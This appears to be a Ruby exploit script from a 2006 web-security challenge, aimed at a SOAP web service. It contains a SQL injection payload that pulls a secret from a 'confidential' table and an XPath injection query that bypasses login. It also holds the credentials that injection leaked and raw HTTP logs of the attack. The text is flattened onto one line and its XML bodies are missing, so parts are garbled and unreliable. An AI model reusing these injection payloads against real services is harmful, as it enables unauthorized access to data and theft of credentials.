require 'socket' class String def stripxml gsub(/<.*?>/, '') end end def readhttp(s) h = s.readpartial 10240 case h when /transfert-encoding: chunked/i loop do len = h.grep(/^\d+/).last.hex break if len == 0 h << s.readpartial(1024) end end h end def request content TCPSocket.open('193.168.50.83', 8080) { |s| s.puts "POST /challenge/services/MyWebService2 HTTP/1.1", "Content-Type: text/xml", "SOAPAction: \"\"", "Content-Length: #{content.length}", "Expect: 100-continue", "Host: 193.168.50.83:8080", '' readhttp s s.puts content puts readhttp(s).stripxml } end def login user, pass request < #{user} #{pass} jj john@ofjj.net EOC end def search rq, user='siegbay_107', pass='acrois17$_08%' request < #{user} #{pass} #{rq} jj john@ofjj.net EOC end #login 'hubert', 'gaelle' #search 'rodriguez', 'hubert', 'gaelle' #search "xxxx' union select 0,__secretfusion___,'a' from __confidential__ limit 1 offset 0 -- " __END__ Requete : //user[login/text()='bla' and false] | //user[2] | //user[false and login/text()='kikoo' and passwd/text()='lol'] ------- Retour de SAX : siegbay_107 acrois17$_08% POST /challenge/services/MyWebService2 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 1.1.4322.2032) Content-Type: text/xml; charset=utf-8 SOAPAction: "" Content-Length: 785 Expect: 100-continue Host: 193.168.50.83:8080 HTTP/1.1 100 Continue hubertgaellepseudo_usermail_user@mail.com HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/xml;charset=utf-8 Transfer-Encoding: chunked Date: Thu, 27 Apr 2006 22:15:56 GMT 216 2,Vous etes connecte hubert 0 POST /challenge/services/MyWebService2 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 1.1.4322.2032) Content-Type: text/xml; charset=utf-8 SOAPAction: "" Content-Length: 825 Expect: 100-continue Host: 193.168.50.83:8080 HTTP/1.1 100 Continue hubertgaellerodriguezpseudo_usermail_user@mail.com HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/xml;charset=utf-8 Transfer-Encoding: chunked Date: Thu, 27 Apr 2006 22:15:58 GMT 20c 2,rodriguez.096411112 0